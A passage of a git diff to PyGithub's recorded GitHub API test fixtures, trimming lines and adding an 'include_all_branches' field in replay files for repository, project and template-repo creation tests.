mple-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25309","created_at":"2018-09-13T19:57:49.000+05:30","updated_at":"2018-09-13T19:57:49.000+05:30"} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateProject.txt b/tests/ReplayData/AuthenticatedUser.testCreateProject.txt index edb95c37f3..385ac028f4 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateProject.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateProject.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Mon, 09 Mar 2020 18:51:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1294'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1583783465'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5dcbdb52ad9cabe8f739c5289666c8de"'), ('Location', 'https://api.github.com/projects/4084610'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CB1A:7CA2:8BAA51:B377C5:5E669027')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084610","html_url":"https://github.com/users/ahhda/projects/4","columns_url":"https://api.github.com/projects/4084610/columns","id":4084610,"node_id":"MDc6UHJvamVjdDQwODQ2MTA=","name":"TestPyGithub","body":"This is the body","number":4,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:19Z","updated_at":"2020-03-09T18:51:19Z"} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt b/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt index 17d22aa222..73384a497a 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplate.txt @@ -30,4 +30,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 16:56:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '11775'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1581443568'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"eabd6fce61227c57848e030e45c468c3"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8C7A:1AEB:84521:F940F:5E42DCCE')] {"id":239815940,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk4MTU5NDA=","name":"hello-world-docker-action-new","full_name":"jacquev6/hello-world-docker-action-new","owner":{"login":"jacquev6","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/hello-world-docker-action-new","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/deployments","created_at":"2020-02-11T16:56:47Z","updated_at":"2020-02-11T16:56:47Z","pushed_at":"2020-02-11T16:56:48Z","git_url":"git://github.com/jacquev6/hello-world-docker-action-new.git","ssh_url":"git@github.com:jacquev6/hello-world-docker-action-new.git","clone_url":"https://github.com/jacquev6/hello-world-docker-action-new.git","svn_url":"https://github.com/jacquev6/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"subscribers_count":1,"network_count":1} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt b/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt index c150a5773a..54f96d3332 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt @@ -26,8 +26,7 @@ api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"name": "hello-world-docker-action-new", "owner": "jacquev6", "description": "My repo from template", "private": true} +{"name": "hello-world-docker-action-new", "owner": "jacquev6", "description": "My repo from template", "include_all_branches": true, "private": true} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 19:18:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '11794'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1581452316'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"7fe9f51a711de4ffab9b930e33e3d875"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '3FB4:2492:632B7:FC388:5E42FE21')] {"id":239844699,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk4NDQ2OTk=","name":"hello-world-docker-action-new","full_name":"jacquev6/hello-world-docker-action-new","owner":{"login":"jacquev6","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":true,"html_url":"https://github.com/jacquev6/hello-world-docker-action-new","description":"My repo from template","fork":false,"url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/deployments","created_at":"2020-02-11T19:18:57Z","updated_at":"2020-02-11T19:18:57Z","pushed_at":"2020-02-11T19:18:59Z","git_url":"git://github.com/jacquev6/hello-world-docker-action-new.git","ssh_url":"git@github.com:jacquev6/hello-world-docker-action-new.git","clone_url":"https://github.com/jacquev6/hello-world-docker-action-new.git","svn_url":"https://github.com/jacquev6/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"subscribers_count":1,"network_count":1} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateRepository.txt b/tests/ReplayData/AuthenticatedUser.testCreateRepository.txt index e2d7d18e94..973a6afcdd 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateRepository.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateRepository.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4996'), ('content-length', '1035'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0dee1203022ede8b8374b387ba479ffd"'), ('date', 'Thu, 10 May 2012 19:17:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/TestPyGithub')] {"mirror_url":null,"homepage":null,"clone_url":"https://github.com/jacquev6/TestPyGithub.git","html_url":"https://github.com/jacquev6/TestPyGithub","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_downloads":true,"watchers":1,"git_url":"git://github.com/jacquev6/TestPyGithub.git","permissions":{"admin":true,"pull":true,"push":true},"has_wiki":true,"has_issues":true,"fork":false,"forks":1,"language":null,"size":0,"description":null,"private":false,"created_at":"2012-05-10T19:17:12Z","open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"TestPyGithub","pushed_at":"2012-05-10T19:17:12Z","id":4288693,"ssh_url":"git@github.com:jacquev6/TestPyGithub.git","updated_at":"2012-05-10T19:17:12Z"} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt b/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt index c6a05de286..2fe9d41a3c 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('content-length', '1176'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4999'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"762d15bfe4477f7ec15c3c08a07da857"'), ('location', 'https://api.github.com/repos/jacquev6/TestPyGithub'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 03 Nov 2012 09:01:00 GMT'), ('content-type', 'application/json; charset=utf-8')] 